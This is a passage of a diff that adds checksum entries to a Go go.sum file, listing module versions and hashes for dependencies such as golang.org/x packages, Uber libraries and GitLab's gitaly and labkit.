+github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU=
+github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ=
+github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y=
+github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
+github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
+github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0/go.mod h1:/LWChgwKmvncFJFHJ7Gvn9wZArjbV5/FppcK2fKk/tI=
+github.com/yudai/gojsondiff v1.0.0/go.mod h1:AY32+k2cwILAkW1fbgxQ5mUmMiZFgLIV+FBNExI05xg=
+github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82/go.mod h1:lgjkn3NuSvDfVJdfcVVdX+jpBxNmX4rDAzaS45IcYoM=
+github.com/yudai/pp v2.0.1+incompatible/go.mod h1:PuxR/8QJ7cyCkFp/aUDS+JY727OFEZkTdatxwunjIkc=
+github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/ziutek/mymysql v1.5.4/go.mod h1:LMSpPZ6DbqWFxNCHW77HeMg9I646SAhApZ/wKdgO/C0=
+gitlab.com/gitlab-org/gitaly v1.87.1-0.20201001041716-3f5e218def93 h1:5qkRBchgs4IvlbRdJTMISuktLF1ZtLMowyhzQteEeKI=
+gitlab.com/gitlab-org/gitaly v1.87.1-0.20201001041716-3f5e218def93/go.mod h1:NEpGSBkjMt7yV5SB1MFySVQqTKFEUdfTDxS76Rt7GC8=
+gitlab.com/gitlab-org/gitlab-shell v0.0.0-20200921044701-1a2bfecd2f0e/go.mod h1:RABblvnnhHpFU/lexlwGqpKgZsLV3RGA2D/Elp5/KEA=
+gitlab.com/gitlab-org/labkit v0.0.0-20200507062444-0149780c759d/go.mod h1:SNfxkfUwVNECgtmluVayv0GWFgEjjBs5AzgsowPQuo0=
+gitlab.com/gitlab-org/labkit v0.0.0-20200908084045-45895e129029/go.mod h1:SNfxkfUwVNECgtmluVayv0GWFgEjjBs5AzgsowPQuo0=
+gitlab.com/gitlab-org/labkit v1.0.0 h1:t2Wr8ygtvHfXAMlCkoEdk5pdb5Gy1IYdr41H7t4kAYw=
+gitlab.com/gitlab-org/labkit v1.0.0/go.mod h1:nohrYTSLDnZix0ebXZrbZJjymRar8HeV2roWL5/jw2U=
+go.etcd.io/bbolt v1.3.3/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
+go.etcd.io/etcd v0.0.0-20191023171146-3cf2f69b5738/go.mod h1:dnLIgRNXwCJa5e+c6mIZCrds/GIG4ncV9HhK5PX7jPg=
+go.opencensus.io v0.15.0/go.mod h1:UffZAU+4sDEINUGP/B7UfBBkq4fqLu9zXAX7ke6CHW0=
+go.opencensus.io v0.20.1/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk=
+go.opencensus.io v0.20.2/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk=
+go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
+go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
+go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
+go.opencensus.io v0.22.3 h1:8sGtKOrtQqkN1bp2AtX+misvLIlOmsEsNd+9NIcPEm8=
+go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
+go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
+go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
+go.uber.org/atomic v1.5.0 h1:OI5t8sDa1Or+q8AeE+yKeB/SDYioSHAgcVljj9JIETY=
+go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
+go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
+go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4=
+go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA=
+go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
+go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=
+gocloud.dev v0.20.0 h1:mbEKMfnyPV7W1Rj35R1xXfjszs9dXkwSOq2KoFr25g8=
+gocloud.dev v0.20.0/go.mod h1:+Y/RpSXrJthIOM8uFNzWp6MRu9pFPNFEEZrQMxpkfIc=
+golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
+golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
+golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20191206172530-e9b2fee46413/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI=
+golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
+golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
+golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
+golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=
+golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=
+golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
+golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
+golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
+golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM=
+golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU=
+golang.org/x/exp v0.0.0-20200331195152-e8c3332aa8e5/go.mod h1:4M0jN8W1tt0AVLNr8HDosyJCDCDuyL9N9+3m7wDWgKw=
+golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
+golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
+golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8 h1:hVwzHzIUGRjiF7EcUjqNxk3NCfkPxbDKRdnNE1Rpg0U=
+golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
+golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
+golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
+golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
+golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
+golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
+golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
+golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
+golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs=
+golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
+golang.org/x/lint v0.0.0-20200302205851-738671d3881b h1:Wh+f8QHJXR411sJR8/vRBTZ7YapZaRvUcLFFJhusH0k=
+golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
+golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
+golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=
+golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
+golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
+golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
+golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
+golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
+golang.org/x/mod v0.3.0 h1:RM4zey1++hCTbCVQfnWeKs9/IEsaBLA8vTkd0WVtmH4=
+golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
+golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190125091013-d26f9f9a57f3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190310074541-c10a0554eabf/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190327091125-710a502c58a2/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
+golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20190619014844-b5b0513f8c1b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20191112182307-2180aed22343/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20200421231249-e086a090c8fd/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20200602114024-627f9648deb9/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20200625001655-4c5254603344 h1:vGXIOMxbNfDTk/aXCmfdLgkrSV+Z2tcbze+pEc3v5W4=
+golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
+golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
+golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
+golang.org/x/oauth2 v0.0.0-20190402181905-9f3314589c9a/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
+golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
+golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
+golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d h1:TzXSXBo42m9gQenoE3b9BGiEpg5IG2JkU5FkPIawgtw=
+golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
+golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a h1:WXEvlFVvvGxCJLG6REjsT03iWnKLEWinaScsxF2Vm2o=
+golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190310054646-10058d7d4faa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190515120540-06a5c4944438/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191112214154-59a1497f0cea/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191220142924-d4481acd189f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200317113312-5766fd39f98d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
